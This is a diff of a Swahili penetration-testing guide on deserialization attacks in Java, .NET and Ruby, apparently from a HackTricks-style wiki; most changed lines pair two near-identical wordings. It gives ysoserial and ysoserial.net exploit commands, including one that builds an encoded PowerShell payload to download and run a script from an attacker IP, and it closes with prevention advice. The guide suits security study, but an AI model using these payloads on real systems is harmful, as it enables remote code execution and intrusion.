javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```
### Angalia kama kuna udhaifu
Ikiwa unataka **kujifunza jinsi unavyofanya kazi ya Java Deserialized exploit** unapaswa kuangalia [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), na [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
Ikiwa unataka **kujifunza jinsi unavyofanya kazi kwa Java Deserialized exploit** unapaswa kuangalia [**Msingi wa Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), na [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
#### Mtihani wa Sanduku Nyeupe
@ -363,7 +363,7 @@ Unapokimbia **gadgetinspector** (baada ya kuijenga) usijali kuhusu maonyo/makosa
#### Black Box Test
Kwa kutumia nyongeza ya Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) unaweza kubaini **ni maktaba zipi zinapatikana** (hata toleo zake). Kwa habari hii inaweza kuwa **rahisi kuchagua payload** ya kutumia exploit udhaifu.\
Kwa kutumia nyongeza ya Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) unaweza kubaini **ni maktaba zipi zinapatikana** (hata toleo lake). Kwa habari hii inaweza kuwa **rahisi kuchagua payload** ya kutumia exploit udhaifu.\
[**Soma hii kujifunza zaidi kuhusu GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
GadgetProbe inazingatia **`ObjectInputStream` deserializations**.
@ -371,19 +371,19 @@ Kwa kutumia nyongeza ya Burp [**Java Deserialization Scanner**](java-dns-deseria
[**Soma hii kujifunza zaidi kuhusu Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner inazingatia **`ObjectInputStream`** deserializations.
Pia unaweza kutumia [**Freddy**](https://github.com/nccgroup/freddy) **kubaini udhaifu wa deserialization** katika **Burp**. Plugin hii itagundua **si tu udhaifu wa `ObjectInputStream`** bali **pia** udhaifu kutoka **Json** na **Yml** maktaba za deserialization. Katika hali ya kazi, itajaribu kuthibitisha kwa kutumia payload za usingizi au DNS.\
Pia unaweza kutumia [**Freddy**](https://github.com/nccgroup/freddy) **kubaini udhaifu wa deserialization** katika **Burp**. Plugin hii itagundua **si tu udhaifu wa `ObjectInputStream`** bali **pia** udhaifu kutoka **Json** na **Yml** maktaba za deserialization. Katika hali ya kazi, itajaribu kuthibitisha kwa kutumia payloads za usingizi au DNS.\
[**Unaweza kupata maelezo zaidi kuhusu Freddy hapa.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**Serialization Test**
Sio kila kitu ni kuhusu kuangalia kama maktaba yoyote yenye udhaifu inatumika na seva. Wakati mwingine unaweza kuwa na uwezo wa **kubadilisha data ndani ya kitu kilichosajiliwa na kupita baadhi ya ukaguzi** (labda kukupa ruhusa za admin ndani ya webapp).\
Ikiwa unapata kitu kilichosajiliwa cha java kinachotumwa kwa programu ya wavuti, **unaweza kutumia** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **kuandika kwa muundo unaoweza kusomeka na binadamu kitu cha usajili kinachotumwa**. Kujua ni data gani unayotuma itakuwa rahisi kuibadilisha na kupita baadhi ya ukaguzi.
Ikiwa unapata kitu kilichosajiliwa cha java kinachotumwa kwa programu ya wavuti, **unaweza kutumia** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **kuchapisha kwa muundo unaoweza kusomeka na binadamu kitu cha usajili kinachotumwa**. Kujua ni data gani unayotuma itakuwa rahisi kuibadilisha na kupita baadhi ya ukaguzi.
### **Exploit**
#### **ysoserial**
Chombo kikuu cha kutumia exploit Java deserializations ni [**ysoserial**](https://github.com/frohoff/ysoserial) ([**pakua hapa**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Unaweza pia kuzingatia kutumia [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) ambayo itakuruhusu kutumia amri ngumu (kwa kutumia pipes kwa mfano).\
Chombo kikuu cha kutumia exploit Java deserializations ni [**ysoserial**](https://github.com/frohoff/ysoserial) ([**pakua hapa**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Unaweza pia kufikiria kutumia [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) ambayo itakuruhusu kutumia amri ngumu (kwa kutumia pipes kwa mfano).\
Kumbuka kwamba chombo hiki kina **zingatia** kutumia **`ObjectInputStream`**.\
Ningekuwa **naanza kutumia payload ya "URLDNS"** **kabla ya payload ya RCE** ili kujaribu kama sindano inawezekana. Hata hivyo, kumbuka kwamba labda payload ya "URLDNS" haifanyi kazi lakini payload nyingine ya RCE inafanya kazi.
```bash
@ -430,9 +430,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
# Base64 encode payload in base64
base64 -w0 payload
```
Wakati wa kuunda payload kwa **java.lang.Runtime.exec()** huwezi kutumia herufi maalum kama ">" au "|" kuhamasisha matokeo ya utekelezaji, "$()" kutekeleza amri au hata **kupitisha hoja** kwa amri zilizotenganishwa na **nafasi** (unaweza kufanya `echo -n "hello world"` lakini huwezi kufanya `python2 -c 'print "Hello world"'`). Ili kuandika payload kwa usahihi unaweza [kutumia ukurasa huu](http://www.jackson-t.ca/runtime-exec-payloads.html).
Wakati wa kuunda payload kwa **java.lang.Runtime.exec()** hu **wezi kutumia herufi maalum** kama ">" au "|" kuhamasisha matokeo ya utekelezaji, "$()" kutekeleza amri au hata **kupitisha hoja** kwa amri zilizotenganishwa na **nafasi** (unaweza kufanya `echo -n "hello world"` lakini huwezi kufanya `python2 -c 'print "Hello world"'`). Ili kuandika payload kwa usahihi unaweza [kutumia ukurasa huu](http://www.jackson-t.ca/runtime-exec-payloads.html).
Jihadharini kutumia skripti ifuatayo kuunda **payloads zote zinazowezekana za utekelezaji wa msimbo** kwa Windows na Linux kisha uzijaribu kwenye ukurasa wa wavuti ulio hatarini:
Jihisi huru kutumia skripti ifuatayo kuunda **payloads zote zinazowezekana za utekelezaji wa msimbo** kwa Windows na Linux kisha ujaribu kwenye ukurasa wa wavuti ulio hatarini:
```python
import os
import base64
@ -455,12 +455,12 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
```
#### serialkillerbypassgadgets
You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **pamoja na ysoserial kuunda exploit zaidi**. More information about this tool in the **slides of the talk** where the tool was presented: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **pamoja na ysoserial kuunda exploit zaidi**. Taarifa zaidi kuhusu chombo hiki katika **slides za mazungumzo** ambapo chombo kilitolewa: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
#### marshalsec
[**marshalsec** ](https://github.com/mbechler/marshalsec)inaweza kutumika kuunda payloads za kutumia maktaba tofauti za **Json** na **Yml** serialization katika Java.\
In order to compile the project I needed to **add** this **dependencies** to `pom.xml`:
[**marshalsec** ](https://github.com/mbechler/marshalsec)inaweza kutumika kuunda payloads za kutumia katika maktaba tofauti za **Json** na **Yml** serialization katika Java.\
Ili kukusanya mradi nilihitaji **kuongeza** hizi **dependencies** kwenye `pom.xml`:
```html
<dependency>
<groupId>javax.activation</groupId>
@ -512,7 +512,7 @@ private transient double margin; // declared transient
```
#### Epuka Serialization ya darasa ambalo linahitaji kutekeleza Serializable
Katika hali ambapo **vitu fulani vinapaswa kutekeleza interface ya `Serializable`** kutokana na hierarchi ya darasa, kuna hatari ya deserialization isiyo ya makusudi. Ili kuzuia hili, hakikisha vitu hivi havina uwezo wa deserialization kwa kufafanua njia ya `final` `readObject()` ambayo daima inatupa kivunjaji, kama inavyoonyeshwa hapa chini:
Katika hali ambapo **vitu fulani vinapaswa kutekeleza interface ya `Serializable`** kutokana na mfuatano wa darasa, kuna hatari ya deserialization isiyo ya makusudi. Ili kuzuia hili, hakikisha vitu hivi havina uwezo wa deserializable kwa kufafanua njia ya `final` `readObject()` ambayo kila wakati inatupa kivunjaji, kama inavyoonyeshwa hapa chini:
```java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
@ -522,7 +522,7 @@ throw new java.io.IOException("Cannot be deserialized");
**Kubadilisha `java.io.ObjectInputStream`** ni njia ya vitendo ya kulinda michakato ya deserialization. Njia hii inafaa wakati:
- Kanuni za deserialization ziko chini ya udhibiti wako.
- Msimbo wa deserialization uko chini ya udhibiti wako.
- Madarasa yanayotarajiwa kwa deserialization yanajulikana.
Pitia **`resolveClass()`** ili kupunguza deserialization kwa madarasa yaliyoruhusiwa tu. Hii inazuia deserialization ya darasa lolote isipokuwa yale yaliyoruhusiwa wazi, kama katika mfano ufuatao unaopunguza deserialization kwa darasa la `Bicycle` tu:
@ -546,7 +546,7 @@ return super.resolveClass(desc);
}
}
```
**Kutumia Java Agent kwa Kuongeza Usalama** inatoa suluhisho la akiba wakati mabadiliko ya msimbo hayawezekani. Njia hii inatumika hasa kwa **kuorodhesha madarasa hatari**, kwa kutumia parameter ya JVM:
**Kutumia Java Agent kwa Kuongeza Usalama** kunatoa suluhisho la kurudi nyuma wakati mabadiliko ya msimbo hayawezekani. Njia hii inatumika hasa kwa **kuorodhesha madarasa hatari**, kwa kutumia parameter ya JVM:
```
-javaagent:name-of-agent.jar
```
@ -554,7 +554,7 @@ Inatoa njia ya kulinda deserialization kwa njia ya kidinamik, inayofaa kwa mazin
Angalia mfano katika [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
**Kutekeleza Filters za Serialization**: Java 9 ilianzisha filters za serialization kupitia **`ObjectInputFilter`** interface, ikitoa mekanism yenye nguvu ya kuweka vigezo ambavyo vitu vilivyohifadhiwa vinapaswa kukutana navyo kabla ya deserialization. Filters hizi zinaweza kutumika kwa kiwango cha jumla au kwa kila mtiririko, zikitoa udhibiti wa kina juu ya mchakato wa deserialization.
**Kutekeleza Filters za Serialization**: Java 9 ilianzisha filters za serialization kupitia **`ObjectInputFilter`** interface, ikitoa mekanism yenye nguvu ya kufafanua vigezo ambavyo vitu vilivyohifadhiwa vinapaswa kukutana navyo kabla ya deserialization. Filters hizi zinaweza kutumika kwa kiwango cha jumla au kwa kila mtiririko, zikitoa udhibiti wa kina juu ya mchakato wa deserialization.
Ili kutumia filters za serialization, unaweza kuweka filter ya jumla inayotumika kwa shughuli zote za deserialization au kuikamilisha kwa njia ya kidinamik kwa mtiririko maalum. Kwa mfano:
```java
@ -568,16 +568,16 @@ return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
```
**Kutatua Maktaba za Nje kwa Usalama Ulioimarishwa**: Maktaba kama **NotSoSerial**, **jdeserialize**, na **Kryo** zinatoa vipengele vya hali ya juu kwa kudhibiti na kufuatilia deserialization ya Java. Maktaba hizi zinaweza kutoa tabaka za ziada za usalama, kama vile kuorodhesha au kuzuia madarasa, kuchambua vitu vilivyohifadhiwa kabla ya deserialization, na kutekeleza mikakati ya kawaida ya serialization.
**Kutatua Maktaba za Nje kwa Usalama Ulioimarishwa**: Maktaba kama **NotSoSerial**, **jdeserialize**, na **Kryo** hutoa vipengele vya juu vya kudhibiti na kufuatilia deserialization ya Java. Maktaba hizi zinaweza kutoa tabaka za ziada za usalama, kama vile kuorodhesha au kuzuia madarasa, kuchambua vitu vilivyohifadhiwa kabla ya deserialization, na kutekeleza mikakati ya kawaida ya serialization.
- **NotSoSerial** inakabili mchakato wa deserialization ili kuzuia utekelezaji wa msimbo usioaminika.
- **jdeserialize** inaruhusu uchambuzi wa vitu vilivyohifadhiwa vya Java bila kuvitafsiri, kusaidia kubaini maudhui yanayoweza kuwa na madhara.
- **jdeserialize** inaruhusu uchambuzi wa vitu vilivyohifadhiwa vya Java bila kuvisafirisha, kusaidia kubaini maudhui yanayoweza kuwa na madhara.
- **Kryo** ni mfumo mbadala wa serialization unaosisitiza kasi na ufanisi, ukitoa mikakati ya serialization inayoweza kubadilishwa ambayo inaweza kuimarisha usalama.
### Marejeleo
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
- Mazungumzo kuhusu Deserialization na ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
- Mazungumzo ya Deserialization na ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
- Mazungumzo kuhusu gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) na slaidi: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
@ -585,8 +585,8 @@ ObjectInputFilter.Config.setSerialFilter(filter);
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
- Karatasi ya deserialization ya Java na .Net JSON **: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** mazungumzo: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) na slaidi: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- CVE za deserialization: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
- Java na .Net JSON deserialization **karatasi:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** mazungumzo: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) na slaidi: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- CVEs za Deserialization: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## JNDI Injection & log4Shell
@ -598,7 +598,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
## JMS - Java Message Service
> API ya **Java Message Service** (**JMS**) ni API ya Java inayolenga ujumbe kwa ajili ya kutuma ujumbe kati ya wateja wawili au zaidi. Ni utekelezaji wa kushughulikia tatizo la mtengenezaji-mtumiaji. JMS ni sehemu ya Java Platform, Enterprise Edition (Java EE), na ilifafanuliwa na kiwango kilichotengenezwa katika Sun Microsystems, lakini ambayo tangu wakati huo imeongozwa na Mchakato wa Jamii ya Java. Ni kiwango cha ujumbe kinachoruhusu vipengele vya programu vinavyotegemea Java EE kuunda, kutuma, kupokea, na kusoma ujumbe. Inaruhusu mawasiliano kati ya vipengele tofauti vya programu iliyosambazwa kuwa na uhusiano wa mbali, wa kuaminika, na wa asynchronic. (Kutoka [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
> API ya **Java Message Service** (**JMS**) ni API ya Java inayolenga ujumbe kwa ajili ya kutuma ujumbe kati ya wateja wawili au zaidi. Ni utekelezaji wa kushughulikia tatizo la mtengenezaji-mtumiaji. JMS ni sehemu ya Java Platform, Enterprise Edition (Java EE), na ilifafanuliwa na spesifikesheni iliyotengenezwa katika Sun Microsystems, lakini ambayo tangu wakati huo imeongozwa na Mchakato wa Jamii ya Java. Ni kiwango cha ujumbe kinachoruhusu vipengele vya programu vinavyotegemea Java EE kuunda, kutuma, kupokea, na kusoma ujumbe. Inaruhusu mawasiliano kati ya vipengele tofauti vya programu iliyosambazwa kuwa na uhusiano wa mbali, wa kuaminika, na wa asynchronic. (Kutoka [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
### Bidhaa
@ -610,57 +610,10 @@ Kuna bidhaa kadhaa zinazotumia middleware hii kutuma ujumbe:
### Utekelezaji
Hivyo, kimsingi kuna **huduma nyingi zinazotumia JMS kwa njia hatari**. Kwa hivyo, ikiwa una **mamlaka ya kutosha** kutuma ujumbe kwa huduma hizi (kawaida utahitaji akidi halali) unaweza kuwa na uwezo wa kutuma **vitu vya hatari vilivyohifadhiwa ambavyo vitatafsiriwa na mtumiaji/mwandikaji**.\
Hivyo, kimsingi kuna **huduma nyingi zinazotumia JMS kwa njia hatari**. Kwa hivyo, ikiwa una **privilege za kutosha** kutuma ujumbe kwa huduma hizi (kawaida utahitaji akreditif halali) unaweza kuwa na uwezo wa kutuma **vitu vya hatari vilivyohifadhiwa ambavyo vitasafirishwa na mtumiaji/mwandikaji**.\
Hii inamaanisha kwamba katika utekelezaji huu **wateja wote watakaotumia ujumbe huo wataambukizwa**.
Unapaswa kukumbuka kwamba hata kama huduma ina udhaifu (kwa sababu inatafsiri kwa usalama wa chini pembejeo za mtumiaji) bado unahitaji kutafuta vifaa halali ili kutumia udhaifu huo.
Zana [JMET](https://github.com/matthiaskaiser/jmet) ilitengenezwa ili **kuunganisha na kushambulia huduma hizi kwa kutuma vitu kadhaa vya hatari vilivyohifadhiwa kwa kutumia vifaa vilivyofahamika**. Hizi exploit zitafanya kazi ikiwa huduma bado ina udhaifu na ikiwa mojawapo ya vifaa vilivyotumika iko ndani ya programu iliyo hatarini.
### Marejeleo
- Mazungumzo ya JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
- Slaidi: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
## .Net
Katika muktadha wa .Net, exploit za deserialization zinafanya kazi kwa njia inayofanana na zile zinazopatikana katika Java, ambapo vifaa vinatumika kuendesha msimbo maalum wakati wa deserialization ya kitu.
### Alama
#### WhiteBox
Msimbo wa chanzo unapaswa kuchunguzwa kwa matukio ya:
1. `TypeNameHandling`
2. `JavaScriptTypeResolver`
Kipaumbele kinapaswa kuwa kwa serializers zinazoruhusu aina hiyo kubainishwa na variable chini ya udhibiti wa mtumiaji.
#### BlackBox
Utafutaji unapaswa kulenga mfuatano wa string iliyokodishwa kwa Base64 **AAEAAAD/////** au muundo wowote wa kufanana ambao unaweza kufanyiwa deserialization upande wa seva, ukitoa udhibiti juu ya aina itakayokuwa ikitafsiriwa. Hii inaweza kujumuisha, lakini si tu, muundo wa **JSON** au **XML** unaoonyesha `TypeObject` au `$type`.
### ysoserial.net
Katika kesi hii unaweza kutumia zana [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) ili **kuunda exploit za deserialization**. Mara tu unaposhusha hifadhi ya git unapaswa **kuunda zana hiyo** kwa kutumia Visual Studio kwa mfano.
Ikiwa unataka kujifunza kuhusu **jinsi ysoserial.net inavyounda exploit zake** unaweza [**kuangalia ukurasa huu ambapo inafafanuliwa gadget ya ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
Chaguzi kuu za **ysoserial.net** ni: **`--gadget`**, **`--formatter`**, **`--output`** na **`--plugin`.**
- **`--gadget`** inatumika kuashiria gadget ya kutumia vibaya (onyesha darasa/funzo ambalo litakabiliwa wakati wa deserialization ili kutekeleza amri).
- **`--formatter`**, inatumika kuashiria njia ya kuhifadhi exploit (unahitaji kujua ni maktaba gani inayotumika kwenye nyuma kutafsiri payload na utumie ile ile kuhifadhi).
- **`--output`** inatumika kuashiria ikiwa unataka exploit katika **raw** au **base64** iliyokodishwa. _Kumbuka kwamba **ysoserial.net** itakuwa **inakodisha** payload kwa kutumia **UTF-16LE** (encoding inayotumika kwa default kwenye Windows) hivyo ikiwa unapata raw na unakodisha tu kutoka kwenye console ya linux unaweza kuwa na baadhi ya **matatizo ya ulinganifu wa encoding** ambayo yatakwamisha exploit kufanya kazi ipasavyo (katika sanduku la HTB JSON payload ilifanya kazi katika UTF-16LE na ASCII lakini hii haimaanishi itafanya kazi kila wakati)._
- **`--plugin`** ysoserial.net inasaidia plugins kutengeneza **exploits kwa mifumo maalum** kama ViewState
#### Zaidi ya vigezo vya ysoserial.net
- `--minify` itatoa **payload ndogo** (ikiwa inawezekana)
- `--raf -f Json.Net -c "chochote"` Hii itaonyesha vifaa vyote vinavyoweza kutumika na formatter iliyotolewa (`Json.Net` katika kesi hii)
- `--sf xml` unaweza **kuonyesha gadget** (`-g`) na ysoserial.net itatafuta formatters zinazojumuisha "xml" (bila kujali herufi kubwa au ndogo)
**Mifano ya ysoserial** kuunda exploits:
Unapaswa kukumbuka kwamba hata kama huduma ina udhaifu (kwa sababu inasafirisha kwa usalama usiofaa pembejeo za mtumiaji) bado unahitaji kutafuta gadgets halali ili kutumia udhaifu huo
```bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
@ -678,9 +631,9 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
```
**ysoserial.net** ina **parameta ya kuvutia sana** inayosaidia kuelewa vizuri jinsi kila exploit inavyofanya kazi: `--test`\
Ikiwa utaashiria parameta hii **ysoserial.net** itajaribu **exploit kwa ndani,** hivyo unaweza kujaribu kama payload yako itafanya kazi ipasavyo.\
Parameta hii ni ya msaada kwa sababu ukikagua msimbo utaona vipande vya msimbo kama ifuatavyo (kutoka [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
**ysoserial.net** ina **kipengele cha kuvutia sana** ambacho husaidia kuelewa vizuri jinsi kila exploit inavyofanya kazi: `--test`\
Ikiwa utaashiria kipengele hiki **ysoserial.net** itajaribu **exploit kwa ndani,** hivyo unaweza kujaribu kama payload yako itafanya kazi ipasavyo.\
Kipengele hiki ni muhimu kwa sababu ukikagua msimbo utapata vipande vya msimbo kama ifuatavyo (kutoka [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java
if (inputArgs.Test)
{
@ -705,12 +658,12 @@ TypeNameHandling = TypeNameHandling.Auto
return obj;
}
```
Katika **kodi ya awali ina udhaifu kwa exploit iliyoundwa**. Hivyo basi, ikiwa unapata kitu kinachofanana katika programu ya .Net, inamaanisha kwamba labda programu hiyo ina udhaifu pia.\
Kwa hiyo, **`--test`** parameter inatupa uwezo wa kuelewa **ni vipande vipi vya kodi vinavyoweza kuathiriwa** na exploit ya deserialization ambayo **ysoserial.net** inaweza kuunda.
In the **code ya awali ina udhaifu kwa exploit iliyoundwa**. Hivyo ikiwa unapata kitu kinachofanana katika programu ya .Net inamaanisha kwamba labda programu hiyo ina udhaifu pia.\
Kwa hivyo **`--test`** parameter inatupa uwezo wa kuelewa **ni vipande vipi vya msimbo vina udhaifu** kwa exploit ya deserialization ambayo **ysoserial.net** inaweza kuunda.
### ViewState
Angalia [hii POST kuhusu **jinsi ya kujaribu ku exploit parameter ya \_\_ViewState ya .Net**](exploiting-__viewstate-parameter.md) ili **kutekeleza kodi isiyo na mipaka.** Ikiwa **tayari unajua siri** zinazotumiwa na mashine ya mwathirika, [**soma hii post kujua jinsi ya kutekeleza kodi**](exploiting-__viewstate-knowing-the-secret.md)**.**
Angalia [hii POST kuhusu **jinsi ya kujaribu ku exploit parameter ya \_\_ViewState ya .Net** ](exploiting-__viewstate-parameter.md) ili **kutekeleza msimbo wa kiholela.** Ikiwa **tayari unajua siri** zinazotumiwa na mashine ya mwathirika, [**soma hii post kujua jinsi ya kutekeleza msimbo**](exploiting-__viewstate-knowing-the-secret.md)**.**
### Prevention
@ -719,12 +672,12 @@ Ili kupunguza hatari zinazohusiana na deserialization katika .Net:
- **Epuka kuruhusu mizunguko ya data kufafanua aina zao za vitu.** Tumia `DataContractSerializer` au `XmlSerializer` inapowezekana.
- **Kwa `JSON.Net`, weka `TypeNameHandling` kuwa `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
- **Epuka kutumia `JavaScriptSerializer` na `JavaScriptTypeResolver`.**
- **Punguza aina ambazo zinaweza ku deserialized**, ukielewa hatari zilizopo na aina za .Net, kama `System.IO.FileInfo`, ambayo inaweza kubadilisha mali za faili za seva, na hivyo kusababisha mashambulizi ya kukatiza huduma.
- **Punguza aina ambazo zinaweza ku deserialized**, ukielewa hatari zilizomo na aina za .Net, kama `System.IO.FileInfo`, ambayo inaweza kubadilisha mali za faili za seva, na hivyo kusababisha mashambulizi ya kukatiza huduma.
- **Kuwa makini na aina zenye mali hatari**, kama `System.ComponentModel.DataAnnotations.ValidationException` yenye mali yake ya `Value`, ambayo inaweza kutumika vibaya.
- **Dhibiti kwa usalama uundaji wa aina** ili kuzuia washambuliaji kuathiri mchakato wa deserialization, na kufanya hata `DataContractSerializer` au `XmlSerializer` kuwa na udhaifu.
- **Tekeleza udhibiti wa orodha nyeupe** kwa kutumia `SerializationBinder` maalum kwa `BinaryFormatter` na `JSON.Net`.
- **Kuwa na habari kuhusu vifaa vya deserialization visivyo salama vilivyofahamika** ndani ya .Net na kuhakikisha deserializers hazianzishi aina kama hizo.
- **Tenga kodi inayoweza kuwa hatari** kutoka kwa kodi yenye ufikiaji wa mtandao ili kuepuka kufichua vifaa vilivyofahamika, kama `System.Windows.Data.ObjectDataProvider` katika programu za WPF, kwa vyanzo vya data visivyoaminika.
- **Kuwa na habari kuhusu vifaa vya deserialization visivyo salama vilivyojulikana** ndani ya .Net na kuhakikisha deserializers hazianzishi aina kama hizo.
- **Tenga msimbo wenye hatari** kutoka kwa msimbo wenye ufikiaji wa mtandao ili kuepuka kufichua vifaa vilivyojulikana, kama `System.Windows.Data.ObjectDataProvider` katika programu za WPF, kwa vyanzo vya data visivyoaminika.
### **Marejeo**
@ -737,7 +690,7 @@ Ili kupunguza hatari zinazohusiana na deserialization katika .Net:
Katika Ruby, serialization inarahisishwa na mbinu mbili ndani ya maktaba ya **marshal**. Mbinu ya kwanza, inayojulikana kama **dump**, inatumika kubadilisha kitu kuwa mzunguko wa byte. Mchakato huu unajulikana kama serialization. Kinyume chake, mbinu ya pili, **load**, inatumika kurudisha mzunguko wa byte kuwa kitu, mchakato unaojulikana kama deserialization.
Ili kulinda vitu vilivyopangwa, **Ruby inatumia HMAC (Hash-Based Message Authentication Code)**, kuhakikisha uadilifu na ukweli wa data. Funguo inayotumika kwa ajili hii inahifadhiwa katika moja ya maeneo kadhaa yanayowezekana:
Ili kulinda vitu vilivyopangwa, **Ruby inatumia HMAC (Hash-Based Message Authentication Code)**, kuhakikisha uadilifu na ukweli wa data. Funguo inayotumika kwa kusudi hili inahifadhiwa katika moja ya maeneo kadhaa yanayowezekana:
- `config/environment.rb`
- `config/initializers/secret_token.rb`
@ -854,19 +807,19 @@ Angalia jinsi inaweza kuwa inawezekana [kuchafua darasa la Ruby na kulitumia hap
### Ruby _json pollution
